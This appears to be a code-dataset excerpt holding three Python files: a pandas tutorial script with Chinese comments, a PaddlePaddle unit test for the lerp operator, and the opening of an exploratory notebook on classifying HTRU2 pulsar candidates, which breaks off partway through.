{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n# \u5b89\u88c5pandas\n# pip install Pandas\n\n# \u8fd0\u884c\u6d4b\u8bd5\u5957\u4ef6\n# \u8fd0\u884c\u524d\u9700\u8981\u5b89\u88c5: hypothesis\u548cpytest\nimport pandas as pd \n# pd.test()\n\n\n# In[5]:\n\n\n# \u5bf9\u8c61\u521b\u5efa\n# \u4f20\u5165\u4e00\u4e9b\u503c\u7684\u5217\u8868\u6765\u521b\u5efa\u4e00\u4e2aSeries,pandas\u4f1a\u81ea\u52a8\u521b\u5efa\u4e00\u4e2a\u9ed8\u8ba4\u7684\u6574\u6570\u7d22\u5f15.\nimport pandas as pd \nimport numpy as np \nimport pprint\n\ns = pd.Series([1,3,5,np.nan,6,8])\nprint(s)\nprint('-'*30)\n# \u4f20\u9012\u5e26\u6709\u65e5\u671f\u65f6\u95f4\u7d22\u5f15\u548c\u5e26\u6807\u7b7e\u5217\u7684NumPy\u6570\u7ec4\u6765\u521b\u5efaDataFrame\ndates = pd.date_range('20190815',periods=6)\npprint.pprint(dates)\n\n\n# In[8]:\n\n\ndf = pd.DataFrame(np.random.randn(6,4),index=dates,columns=list('ABCD'))\n# df.to_excel('./output.xlsx')\npprint.pprint(df)\n\n\n# In[9]:\n\n\n# \u8f6c\u5316\u4e3a\u7c7b\u4f3cSeries\u7684dict\u5bf9\u8c61\u6765\u521b\u5efaDataFrame\ndf2 = pd.DataFrame({'A': 1.,\n                   'B': pd.Timestamp('20190820'),\n                   'C': pd.Series(1,index=list(range(4)),dtype='float32'),\n                   'D': np.array([3] * 4,dtype='int32'),\n                   'E': pd.Categorical([\"test\",\"train\",\"test1\",\"train2\"]),\n                   'F': 'foo'})\nprint(df2)\n# DataFrame\u7684\u5217\u5177\u6709\u4e0d\u540c\u7684\u6570\u636e\u7c7b\u578b\nprint(df2.dtypes)\n\n\n# In[10]:\n\n\n### \u67e5\u770b\u6570\u636e\n# \u67e5\u770bDataFrame\u9876\u90e8\u6570\u636e\nprint(df.head(3))\nprint('+='*30)\n# \u67e5\u770bDataFrame\u5c3e\u90e8\u6570\u636e\nprint(df.tail(3))\nprint('--+'*30)\n# \u663e\u793a\u7d22\u5f15,\u5217\u548c\u5e95\u5c42NumPy\u6570\u636e.\nprint(df.index)\nprint('-='*30)\nprint(df.columns)\nprint('-|'*30)\n# DataFrame.to_numpy() \u4f1a\u7ed9\u51faNumpy\u5bf9\u8c61. \u8f93\u51fa\u65f6\u4e0d\u5305\u542b\u884c\u7d22\u5f15\u548c\u5217\u7d22\u5f15.\nprint(df.to_numpy())\n\n\n# In[11]:\n\n\n# describe()\u65b9\u6cd5\u663e\u793a\u6570\u636e\u7684\u5feb\u901f\u7edf\u8ba1\u6458\u8981\nprint(df.describe())\nprint('--'*30)\n# \u8f6c\u7f6e\u6570\u636e\nprint(df.T)\nprint('=='*30)\n# \u6309\u8f74\u6392\u5e8f\nprint(df.sort_index(axis=1,ascending=False))\nprint('-='*30)\n# \u6309\u503c\u6392\u5e8f\nprint(df.sort_values(by='B'))\n\n\n# In[12]:\n\n\n### \u83b7\u53d6\nprint(df['A'])\n# \u5bf9\u884c\u8fdb\u884c\u5207\u7247\nprint(df[0:])\nprint(df[0:2])\nprint('-=='*30)\nprint(df['20190816':'20190818'])\n\n\n# In[13]:\n\n\n### \u6309\u6807\u7b7e\u9009\u62e9\n# \u901a\u8fc7\u6807\u7b7e\u83b7\u53d6\u4e00\u884c\u6570\u636e\nprint(df.loc[dates[0]])\nprint(df.loc[dates[1]])\nprint('=='*30)\n# \u901a\u8fc7\u6807\u7b7e\u5728\u591a\u4e2a\u8f74\u4e0a\u9009\u62e9\u6570\u636e\nprint('\u901a\u8fc7\u6807\u7b7e\u5728\u591a\u4e2a\u8f74\u4e0a\u9009\u62e9\u6570\u636e')\nprint(df.loc[:,['A','B']])\nprint('--'*30)\nprint(df.loc[:,['C']])\n\n\n# In[14]:\n\n\n# \u901a\u8fc7\u6807\u7b7e\u540c\u65f6\u5728\u4e24\u4e2a\u8f74\u4e0a\u5207\u7247\nprint('\u901a\u8fc7\u6807\u7b7e\u540c\u65f6\u5728\u4e24\u4e2a\u8f74\u4e0a\u5207\u7247')\nprint(df.loc['20190817':'20190819',['A','B']])\n\n\n# In[15]:\n\n\n# \u51cf\u5c0f\u8fd4\u56de\u5bf9\u8c61\u7684\u5927\u5c0f\nprint(df.loc['20190820',['A','B']])\n\n\n# In[16]:\n\n\n# \u83b7\u53d6\u6807\u91cf\u503c\nprint(df.loc[dates[0],'A'])\n\n\n# In[17]:\n\n\n# \u5feb\u901f\u8bbf\u95ee\u6807\u91cf\nprint(df.at[dates[0],'A'])\n\n\n# In[18]:\n\n\n### \u5e03\u5c14\u7d22\u5f15\n# \u4f7f\u7528\u5355\u4e2a\u5217\u7684\u503c\u6765\u9009\u62e9\u6570\u636e\nprint(df[df.A > 0])   # \u4f1a\u8f93\u51fa\u4e3aTrue\u7684\u5185\u5bb9.\nprint(df.A > 0) # \u5c06True\u548cFalse\u90fd\u6253\u5370\u51fa\u6765.\n\n\n# In[19]:\n\n\n# \u4ece\u6ee1\u8db3\u5e03\u5c14\u6761\u4ef6\u7684DataFrame\u4e2d\u9009\u62e9\u503c:\nprint(df[df > 0])\n\n\n# In[20]:\n\n\n# \u4f7f\u7528isin()\u65b9\u6cd5\u8fc7\u6ee4\ndf3 = df.copy()\n# print(df3)\n# df3['E'] = ['one','one','two','three','four','three']\ndf3['E'] = ['one','two','three','four','five','six']\n\n# print(df3)\nprint('-='*30)\nprint(df3[df3['E'].isin(['two','four'])])\n\n\n# In[21]:\n\n\n### \u8d4b\u503c\n# \u6dfb\u52a0\u65b0\u5217\u5c06\u81ea\u52a8\u6839\u636e\u7d22\u5f15\u5bf9\u9f50\u6570\u636e.\ns1 = pd.Series([1,2,3,4,5,6],index=pd.date_range('20190818',periods=6))\nprint(s1)\ndf3['F'] = s1\nprint(df3['F'])\n\n\n# In[22]:\n\n\n# \u901a\u8fc7\u6807\u7b7e\u8d4b\u503c\ndf3.at[dates[0],'A'] = 0\nprint(df3)\n\n\n# In[27]:\n\n\n### \u901a\u8fc7\u4f4d\u7f6e\u8d4b\u503c\ndf.iat[0,1] = 0 \nprint(df)\n\n\n# In[29]:\n\n\n# \u4f7f\u7528NumPy\u6570\u7ec4\u8d4b\u503c\ndf3.loc[:,'D'] = np.array([5] * len(df))\nprint(df3) # \u524d\u9762\u4e00\u7cfb\u5217\u8d4b\u503c\u64cd\u4f5c\u7684\u7ed3\u679c.\n\n\n# In[41]:\n\n\n# \u5e26\u6709where\u6761\u4ef6\u7684\u8d4b\u503c\u64cd\u4f5c.\ndf2 = df.copy()\ndf2[df2 > 0] = -df2\nprint(df2)\n\n\n# In[42]:\n\n\n### \u7f3a\u5931\u503c\n# pandas\u4e3b\u8981\u4f7f\u7528\u503cnp.nan\u6765\u8868\u793a\u7f3a\u5931\u7684\u6570\u636e.\n# \u91cd\u5efa\u7d22\u5f15\u5141\u8bb8\u66f4\u6539/\u6dfb\u52a0/\u5220\u9664\u6307\u5b9a\u8f74\u4e0a\u7684\u7d22\u5f15.\u8fd9\u4e2a\u64cd\u4f5c\u4f1a\u8fd4\u56de\u4e00\u4e2a\u526f\u672c.\ndf5 = df.reindex(index=dates[0:4],columns=list(df.columns) + ['E'])\ndf5.loc[dates[0]:dates[1],'E'] = 1\nprint(df5)\n\n\n# In[45]:\n\n\n# \u5220\u9664\u4efb\u4f55\u5e26\u6709\u7f3a\u5931\u503c\u7684\u884c\nprint(df5.dropna(how='any'))\n\n\n# In[46]:\n\n\n# \u586b\u5145\u7f3a\u5931\u503c\nprint(df5.fillna(value=5))\n\n\n# In[47]:\n\n\n# \u83b7\u53d6\u503c\u4e3anan\u7684\u63a9\u7801\nprint(pd.isna(df5))\n\n\n# In[49]:\n\n\n### \u7edf\u8ba1\n# \u8fdb\u884c\u63cf\u8ff0\u6027\u7edf\u8ba1\nprint(df5.mean())\nprint('-='*30)\n# \u5728\u5176\u5b83\u8f74\u4e0a\u8fdb\u884c\u540c\u6837\u7684\u64cd\u4f5c:\nprint(df5.mean(1))\n\n\n# In[51]:\n\n\n# \u4f7f\u7528\u5177\u6709\u4e0d\u540c\u7ef4\u5ea6\u4e14\u9700\u8981\u5bf9\u9f50\u7684\u5bf9\u8c61\u8fdb\u884c\u64cd\u4f5c. pandas\u4f1a\u81ea\u52a8\u6cbf\u6307\u5b9a\u7ef4\u5ea6\u8fdb\u884c\u5e7f\u64ad.\ns = pd.Series([1,3,5,np.nan,6,8],index=dates).shift(2)\nprint(s)\n\nprint(df5.sub(s,axis='index'))\n\n\n# In[53]:\n\n\n### \u5e94\u7528\n# \u5c06\u51fd\u6570\u5e94\u7528\u4e8e\u6570\u636e\nprint(df5.apply(np.cumsum))\n\nprint(df5.apply(lambda x: x.max() - x.min()))\n\n\n# In[56]:\n\n\n### \u76f4\u65b9\u56fe\u5316\ns1 = pd.Series(np.random.randint(0,7,size=10))\nprint(s1)\nprint('=+'*30)\nprint(s1.value_counts())\n\n\n# In[57]:\n\n\n### \u5b57\u7b26\u4e32\u65b9\u6cd5\n# Series\u5728str\u5c5e\u6027\u4e2d\u6709\u4e00\u7ec4\u5b57\u7b26\u4e32\u5904\u7406\u65b9\u6cd5,\u53ef\u5bf9\u6570\u7ec4\u7684\u6bcf\u4e2a\u5143\u7d20\u8fdb\u884c\u64cd\u4f5c.\ns2 = pd.Series(['A','B','C','Aaba','Baca',np.nan,'CABA','dog','cat'])\nprint(s2.str.lower())\n\n\n# In[60]:\n\n\n## \u5408\u5e76\n### \u8fde\u63a5\n# \u4f7f\u7528concat()\u8fde\u63a5pandas\u5bf9\u8c61.\ndf6 = pd.DataFrame(np.random.randn(10,4))\nprint(df6)\nprint('---'*30)\npieces = [df6[:3],df6[3:7],df6[7:]]\nprint(pd.concat(pieces))\n\n\n# In[62]:\n\n\n### Join\n# SQL\u98ce\u683c\u7684\u5408\u5e76\nleft = pd.DataFrame({'key': ['foo','foo'],'lval':[1,2]})\nright = pd.DataFrame({'key': ['foo','foo'],'rval': [4,5]})\nprint(left)\nprint('='*30)\nprint(right)\nprint('='*30)\nprint(pd.merge(left,right,on='key'))\n\n\n# In[63]:\n\n\n# \u53e6\u4e00\u4e2a\u4f8b\u5b50\nleft = pd.DataFrame({'key': ['foo','bar'],'lval': [1,2]})\nright = pd.DataFrame({'key': ['foo','bar'],'rval':[4,5]})\nprint(left)\nprint('-'*30)\nprint(right)\nprint(pd.merge(left,right,on='key'))\n\n\n# In[66]:\n\n\n### \u8ffd\u52a0\ndf7 = pd.DataFrame(np.random.randn(8,4),columns=['A','B','C','D'])\nprint(df7)\nprint('=='*30)\ns3 = df7.iloc[3]\nprint(df7.append(s3,ignore_index=True))\n\n\n# In[68]:\n\n\n### \u5206\u7ec4\n\"\"\"\ngroup by\u5305\u62ec:\n\u5206\u5272: \u6839\u636e\u4e00\u4e9b\u6807\u51c6\u5c06\u6570\u636e\u5206\u89e3\u6210\u7ec4.\n\u5e94\u7528: \u5c06\u51fd\u6570\u72ec\u7acb\u5730\u5e94\u7528\u4e8e\u6bcf\u4e2a\u7ec4.\n\u7ec4\u5408: \u5c06\u7ed3\u679c\u7ec4\u5408\u6210\u6570\u636e\u7ed3\u6784.\n\"\"\"\ndf8 = pd.DataFrame({'A': ['foo','bar','foo','bar',\n                         'foo','bar','foo','foo'],\n                   'B': ['one','one','two','three',\n                        'two','two','one','three'],\n                   'C': np.random.randn(8),\n                   'D': np.random.randn(8)})\n\nprint(df8)\n# \u5206\u7ec4,\u7136\u540e\u5c06sum()\u51fd\u6570\u5e94\u7528\u4e8e\u5206\u7ec4\u7ed3\u679c.\nprint(df8.groupby('A').sum())\nprint('=-'*30)\n# \u6309\u591a\u5217\u5206\u7ec4\u5f62\u6210\u5c42\u6b21\u7d22\u5f15,\u7528sum\u51fd\u6570\nprint(df8.groupby(['A','B']).sum())\n\n\n# In[69]:\n\n\n### \u5806\u53e0(Stack)\ntuples = list(zip(*[['bar','bar','baz','baz',\n                    'foo','foo','qux','qux'],\n                   ['one','two','one','two',\n                   'one','two','one','two']]))\n\nindex = pd.MultiIndex.from_tuples(tuples,names=['first','second'])\ndf = pd.DataFrame(np.random.randn(8,2),index=index,columns=['A','B'])\ndf9 = df[:4]\nprint(df9)\n\n\n# In[70]:\n\n\n### stack()\u65b9\u6cd5\u538b\u7f29DataFrame\u7684\u5217\nstacked = df9.stack()\nprint(stacked)\n\n\n# In[72]:\n\n\n# stack()\u7684\u9006\u64cd\u4f5c\u662funstack(),\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u53d6\u6d88\u6700\u540e\u538b\u7f29\u7684\u54ea\u4e2a\u7ea7\u522b.\nprint(stacked.unstack())\nprint('=='*30)\nprint(stacked.unstack(1))\nprint('-='*30)\nprint(stacked.unstack(0))\n\n\n# In[75]:\n\n\n### \u6570\u636e\u900f\u89c6\u8868\ndf10 = pd.DataFrame({'A': ['one','one','two','three'] * 3,\n                    'B': ['A','B','C'] * 4,\n                    'C': ['foo','foo','foo','bar','bar','bar'] * 2,\n                    'D': np.random.randn(12),\n                    'E': np.random.randn(12)})\n\nprint(df10)\nprint('-='*30)\n# \u4ece\u8fd9\u4e9b\u6570\u636e\u751f\u6210\u6570\u636e\u900f\u89c6\u8868\npd.pivot_table(df10,values='D',index=['A','B'],columns=['C'])\n\n\n# In[76]:\n\n\n### \u65f6\u95f4\u5e8f\u5217(TimeSeries)\n# \u7528\u4e8e\u5728\u9891\u7387\u8f6c\u6362\u671f\u95f4\u6267\u884c\u91cd\u91c7\u6837\u64cd\u4f5c.\nrng = pd.date_range('22/08/2019',periods=100,freq='S')\nts = pd.Series(np.random.randint(0,500,len(rng)),index=rng)\nprint(ts.resample('5Min').sum())\n\n\n# In[79]:\n\n\n# \u65f6\u533a\u4ee3\u8868\nrng = pd.date_range('21/08/2019 21:29:30',periods=5,freq='D')\nts = pd.Series(np.random.randn(len(rng)),rng)\nprint(ts)\n\nprint('-='*30)\nts_utc = ts.tz_localize('UTC')\nprint(ts_utc)\n\nprint('-='*30)\n# \u8f6c\u6362\u4e3a\u53e6\u4e00\u4e2a\u65f6\u533a\nprint(ts_utc.tz_convert('US/Eastern'))\n\n\n# In[82]:\n\n\n# \u5728\u65f6\u95f4\u8de8\u5ea6\u8868\u793a\u4e4b\u95f4\u8f6c\u6362\nrng = pd.date_range('22/08/2019',periods=5,freq='M')\nts = pd.Series(np.random.randn(len(rng)),index=rng)\nprint(ts)\nprint('-='*30)\nps = ts.to_period()\nprint(ps)\nprint('-='*30)\nprint(ps.to_timestamp())\n\n\n# In[83]:\n\n\n# \u5468\u671f\u548c\u65f6\u95f4\u6233\u4e4b\u95f4\u7684\u8f6c\u6362\u53ef\u4ee5\u7528\u7b97\u672f\u51fd\u6570. \n# \u793a\u4f8b: \u4ee511\u6708\u4e3a\u7ed3\u675f\u5e74\u4efd\u7684\u5b63\u5ea6\u9891\u7387\u8f6c\u6362\u4e3a\u5b63\u5ea6\u7ed3\u675f\u540e\u4e00\u4e2a\u6708\u672b\u7684\u4e0a\u53489\u70b9.\nprng = pd.period_range('2010Q1','2019Q4',freq='Q-NOV')\nts = pd.Series(np.random.randn(len(prng)),prng)\nts.index = (prng.asfreq('M','e') + 1).asfreq('H','s') + 9\nprint(ts.head())\n\n\n# In[86]:\n\n\n### \u5206\u7c7b(Categoricals)\n# pandas\u53ef\u4ee5\u5728DataFrame\u4e2d\u5305\u542b\u5206\u7c7b\u6570\u636e.\ndf11 = pd.DataFrame({\"id\": [1,2,3,4,5,6],\n                    \"raw_grade\": ['a','b','b','a','a','e']})\n# \u5c06\u539f\u59cb\u6210\u7ee9\u8f6c\u6362\u4e3acategory\u6570\u636e\u7c7b\u578b\ndf11[\"grade\"] = df11[\"raw_grade\"].astype(\"category\")\nprint(df11[\"grade\"])\nprint('-='*30)\n\n\n# In[87]:\n\n\n# \u5c06\u7c7b\u522b\u91cd\u547d\u540d\u4e3a\u66f4\u6709\u610f\u4e49\u7684\u540d\u79f0(\u901a\u8fc7\u8c03\u7528Series.cat.categories\u6765\u66ff\u6362)\ndf11[\"grade\"].cat.categories = [\"very good\",\"good\",\"very bad\"]\nprint(df11[\"grade\"].cat.categories)\n\n\n# In[88]:\n\n\n# \u5bf9categories\u91cd\u65b0\u6392\u5e8f\u5e76\u540c\u65f6\u6dfb\u52a0\u7f3a\u5c11\u7684category(Series.cat\u4e0b\u7684\u65b9\u6cd5\u9ed8\u8ba4\u8fd4\u56de\u4e00\u4e2a\u65b0\u7684Series)\ndf11[\"grade\"] = df11[\"grade\"].cat.set_categories([\"very bad\",\"bad\",\"medium\",\n                                                 \"good\",\"very good\"])\nprint(df11[\"grade\"])\n\n\n# In[90]:\n\n\n# \u6392\u5e8f\u65f6\u6309categories\u4e2d\u7684\u987a\u5e8f\u6392\u5e8f,\u4e0d\u662f\u6309\u7167\u8bcd\u6c47\u987a\u5e8f\u6392\u5e8f.\nprint(df11.sort_values(by=\"grade\"))\n\n\n# In[91]:\n\n\n# \u6309\u5206\u597d\u7c7b\u7684\u5217\u5206\u7ec4(groupby)\u53ef\u4ee5\u663e\u793a\u7a7acategories\u3002\nprint(df11.groupby(\"grade\").size())\n\n\n# In[92]:\n\n\n### \u7ed8\u56fe\nts = pd.Series(np.random.randn(1000),\n              index=pd.date_range('22/08/2019',periods=1000))\nts = ts.cumsum()\nts.plot()\n\n\n# In[94]:\n\n\nimport matplotlib.pyplot as plt\n# \u5728\u4e00\u4e2aDataFrame\u4e2d,plot\u65b9\u6cd5\u7ed8\u5236\u5e26\u6709label\u7684\u6240\u6709\u5217.\ndf12 = pd.DataFrame(np.random.randn(1000,4),index=ts.index,\n                   columns=['A','B','C','D'])\n\ndf13 = df12.cumsum()\nplt.figure()\ndf13.plot()\nplt.legend(loc='best')\n\n\n# In[96]:\n\n\n### \u6570\u636e\u8f93\u5165/\u8f93\u51fa\n# \u5199\u5165csv\u6587\u4ef6\ndf13.to_csv('./best.csv')\n# \u4ececsv\u6587\u4ef6\u8bfb\u6570\u636e\npd.read_csv('./best.csv')\n\n\n# In[102]:\n\n\n### HDF5\n# pip install tables\n# \u5199\u5165HDF5\ndf13.to_hdf('./best.h5','df')\n# \u4eceHDF5\u8bfb\u6570\u636e\npd.read_hdf('./best.h5','df')\n\n\n# In[103]:\n\n\n### Excel\n# \u5199\u5165excel\u6587\u4ef6\ndf13.to_excel('./best.xlsx',sheet_name='best')\n# \u4eceexcel\u6587\u4ef6\u8bfb\u53d6\u6570\u636e\npd.read_excel('./best.xlsx','best',index_col=None,na_values=['NA'])\n\n\n# In[104]:\n\n\n# Gotchas \u5751\n# \u5f02\u5e38\nif pd.Series([False,True,False]):\n    print(\"I was true\")\n\n", "meta": {"hexsha": "1030e9d74499feba96d5984a0d6233e69ada575b", "size": 8943, "ext": "py", "lang": "Python", "max_stars_repo_path": "PyDataAnalysis/pandas/scripts/Use-pandas.py", "max_stars_repo_name": "JackyYuanjie/python-scripts", "max_stars_repo_head_hexsha": "490eb9668bda6db004ae87d204588fb6ffe56051", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-07-08T05:09:38.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-08T05:09:38.000Z", "max_issues_repo_path": "PyDataAnalysis/pandas/scripts/Use-pandas.py", "max_issues_repo_name": "JackyYuanjie/python-scripts", "max_issues_repo_head_hexsha": "490eb9668bda6db004ae87d204588fb6ffe56051", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "PyDataAnalysis/pandas/scripts/Use-pandas.py", "max_forks_repo_name": "JackyYuanjie/python-scripts", "max_forks_repo_head_hexsha": "490eb9668bda6db004ae87d204588fb6ffe56051", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-01-09T07:29:17.000Z", "max_forks_repo_forks_event_max_datetime": "2020-01-09T07:29:17.000Z", "avg_line_length": 15.2350936968, "max_line_length": 76, "alphanum_fraction": 0.5905177234, "include": true, "reason": "import numpy", "num_tokens": 3562, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.13296424878721277, "lm_q1q2_score": 0.06492423485078032}}
{"text": "# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nimport unittest\nimport numpy as np\nfrom op_test import OpTest\nimport paddle\nimport paddle.fluid.core as core\n\npaddle.enable_static()\nnp.random.seed(0)\n\n\nclass TestLerp(OpTest):\n\n    def setUp(self):\n        self.op_type = \"lerp\"\n        self.python_api = paddle.lerp\n        self.init_dtype()\n        self.init_shape()\n        x = np.arange(1., 101.).astype(self.dtype).reshape(self.shape)\n        y = np.full(100, 10.).astype(self.dtype).reshape(self.shape)\n        w = np.asarray([0.5]).astype(self.dtype)\n        self.inputs = {'X': x, 'Y': y, 'Weight': w}\n        self.outputs = {'Out': x + w * (y - x)}\n\n    def init_dtype(self):\n        self.dtype = np.float64\n\n    def init_shape(self):\n        self.shape = [100]\n\n    def test_check_output(self):\n        self.check_output(check_eager=True)\n\n    def test_check_grad(self):\n        self.check_grad(['X', 'Y'], 'Out', check_eager=True)\n\n\nclass TestLerpWithDim2(TestLerp):\n\n    def init_shape(self):\n        self.shape = [2, 50]\n\n\nclass TestLerpWithDim3(TestLerp):\n\n    def init_shape(self):\n        self.shape = [2, 2, 25]\n\n\nclass TestLerpWithDim4(TestLerp):\n\n    def init_shape(self):\n        self.shape = [2, 2, 5, 5]\n\n\nclass TestLerpWithDim5(TestLerp):\n\n    def init_shape(self):\n        self.shape = [2, 1, 2, 5, 5]\n\n\nclass TestLerpWithDim6(TestLerp):\n\n    def init_shape(self):\n        self.shape = [2, 1, 2, 5, 1, 5]\n\n\nclass TestLerpAPI(unittest.TestCase):\n\n    def init_dtype(self):\n        self.dtype = 'float32'\n\n    def setUp(self):\n        self.init_dtype()\n        self.x = np.arange(1., 5.).astype(self.dtype)\n        self.y = np.full(4, 10.).astype(self.dtype)\n        self.w = np.asarray([0.75]).astype(self.dtype)\n        self.res_ref = self.x + self.w * (self.y - self.x)\n        self.place = [paddle.CPUPlace()]\n        if core.is_compiled_with_cuda():\n            self.place.append(paddle.CUDAPlace(0))\n\n    def test_static_api(self):\n        paddle.enable_static()\n\n        def run(place):\n            with paddle.static.program_guard(paddle.static.Program()):\n                x = paddle.fluid.data('x', [1, 4], dtype=self.dtype)\n                y = paddle.fluid.data('y', [1, 4], dtype=self.dtype)\n                out = paddle.lerp(x, y, 0.5)\n                exe = paddle.static.Executor(place)\n                res = exe.run(feed={\n                    'x': self.x.reshape([1, 4]),\n                    'y': self.y.reshape([1, 4]),\n                })\n            for r in res:\n                self.assertEqual(np.allclose(self.res_ref, r), True)\n\n        for place in self.place:\n            run(place)\n\n    def test_dygraph_api(self):\n\n        def run(place):\n            paddle.disable_static(place)\n            x = paddle.to_tensor(self.x)\n            y = paddle.to_tensor(self.y)\n            w = paddle.to_tensor(np.full(4, 0.75).astype(self.dtype))\n            out = paddle.lerp(x, y, w)\n            self.assertEqual(np.allclose(self.res_ref, out.numpy()), True)\n            paddle.enable_static()\n\n        for place in self.place:\n            run(place)\n\n    def test_inplace_api(self):\n\n        def run(place):\n            paddle.disable_static(place)\n            x = paddle.to_tensor(self.x)\n            y = paddle.to_tensor(self.y)\n            x.lerp_(y, 0.75)\n            self.assertEqual(np.allclose(self.res_ref, x.numpy()), True)\n            paddle.enable_static()\n\n        for place in self.place:\n            run(place)\n\n    def test_inplace_api_exception(self):\n\n        def run(place):\n            paddle.disable_static(place)\n            x = paddle.to_tensor(self.x)\n            y = paddle.to_tensor(self.y)\n            w = paddle.to_tensor([0.75, 0.75], dtype=self.dtype)\n            with self.assertRaises(ValueError):\n                x.lerp_(y, w)\n            paddle.enable_static()\n\n        for place in self.place:\n            run(place)\n\n    def test_x_broadcast_y(self):\n        paddle.disable_static()\n        x = np.arange(1., 21.).astype(self.dtype).reshape([2, 2, 5])\n        y = np.full(30, 10.).astype(self.dtype).reshape([3, 2, 1, 5])\n        out = paddle.lerp(paddle.to_tensor(x), paddle.to_tensor(y), 0.5)\n        res_ref = x + 0.5 * (y - x)\n        self.assertEqual(np.allclose(res_ref, out.numpy()), True)\n        paddle.enable_static()\n\n    def test_x_y_broadcast_w(self):\n        paddle.disable_static()\n        x = np.arange(11., 21.).astype(self.dtype).reshape([2, 5])\n        y = np.full(20, 7.5).astype(self.dtype).reshape([2, 2, 5])\n        w = np.full(40, 0.225).astype(self.dtype).reshape([2, 2, 2, 5])\n        out = paddle.lerp(paddle.to_tensor(x), paddle.to_tensor(y),\n                          paddle.to_tensor(w))\n        res_ref = x + w * (y - x)\n        self.assertEqual(np.allclose(res_ref, out.numpy()), True)\n        paddle.enable_static()\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "0af6e46c73d7cf4ca02d69e1b873460f2690aef2", "size": 5468, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/test_lerp_op.py", "max_stars_repo_name": "L-Net-1992/Paddle", "max_stars_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 11, "max_stars_repo_stars_event_min_datetime": "2016-08-29T07:43:26.000Z", "max_stars_repo_stars_event_max_datetime": "2016-08-29T07:51:24.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/test_lerp_op.py", "max_issues_repo_name": "L-Net-1992/Paddle", "max_issues_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/paddle/fluid/tests/unittests/test_lerp_op.py", "max_forks_repo_name": "L-Net-1992/Paddle", "max_forks_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-12-09T08:59:17.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-09T08:59:17.000Z", "avg_line_length": 30.2099447514, "max_line_length": 74, "alphanum_fraction": 0.5892465252, "include": true, "reason": "import numpy", "num_tokens": 1381, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882834101888134, "lm_q2_score": 0.132964236762076, "lm_q1q2_score": 0.06492423095933926}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Classifying Pulsars from the High Time Resolution Universe Survey (HTRU2) - Exploratory Data Analysis\n\n# ## Overview & Citation\n\n# The purpose of this project is to analyze telescope data to correctly separate actual pulsar data from radio frequency noise. The dataset was retrieved from the UC Irvine Machine Learning Repository at the following link: <https://archive.ics.uci.edu/ml/datasets/HTRU2#>\n# \n# The data comes from the High Time Resolution Universe Survey (South), known as HTRU2. The dataset was donated to the UCI Repository by Dr. Robert Lyon of The University of Manchester, United Kingdom. The two papers requested for citation in the description are listed below:\n# * R. J. Lyon, B. W. Stappers, S. Cooper, J. M. Brooke, J. D. Knowles, Fifty Years of Pulsar Candidate Selection: From simple filters to a new principled real-time classification approach, Monthly Notices of the Royal Astronomical Society 459 (1), 1104-1123, DOI: 10.1093/mnras/stw656\n# * R. J. Lyon, HTRU2, DOI: 10.6084/m9.figshare.3080389.v1.\n# \n# Below is an edited description of the dataset, taken from the website. The citation numbers refer to the publications listed on the website:\n# \n# *HTRU2 is a data set which describes a sample of pulsar candidates collected during the High Time Resolution Universe Survey (South) [1]. Pulsars are a rare type of Neutron star that produce radio emission detectable here on Earth. They are of considerable scientific interest as probes of space-time, the inter-stellar medium, and states of matter (see [2] for more uses).* \n# \n# *As pulsars rotate, their emission beam sweeps across the sky, and when this crosses our line of sight, produces a detectable pattern of broadband radio emission. As pulsars\n# rotate rapidly, this pattern repeats periodically. Thus pulsar search involves looking for periodic radio signals with large radio telescopes. Each pulsar produces a slightly different emission pattern, which varies slightly with each rotation (see [2] for an introduction to pulsar astrophysics to find out why). Thus a potential signal detection known as a 'candidate', is averaged over many rotations of the pulsar, as determined by the length of an observation. In the absence of additional info, each candidate could potentially describe a real pulsar. However in practice almost all detections are caused by radio frequency interference (RFI) and noise, making legitimate signals hard to find.*\n# \n# *Machine learning tools are now being used to automatically label pulsar candidates to facilitate rapid analysis. Classification systems in particular are being widely adopted,\n# (see [4,5,6,7,8,9]) which treat the candidate data sets as binary classification problems. Here the legitimate pulsar examples are a minority positive class, and spurious examples the majority negative class. At present multi-class labels are unavailable, given the costs associated with data annotation. The data set shared here contains 16,259 spurious examples caused by RFI/noise, and 1,639 real pulsar examples. These examples have all been checked by human annotators.*\n\n# ## Feature Names\n\n# The dataset was downloaded from the UC Irvine Repository as a CSV file. Column names were not provided in the original dataset. The features are listed below according to the feature names listed on the website, with the annotated column names used in this project 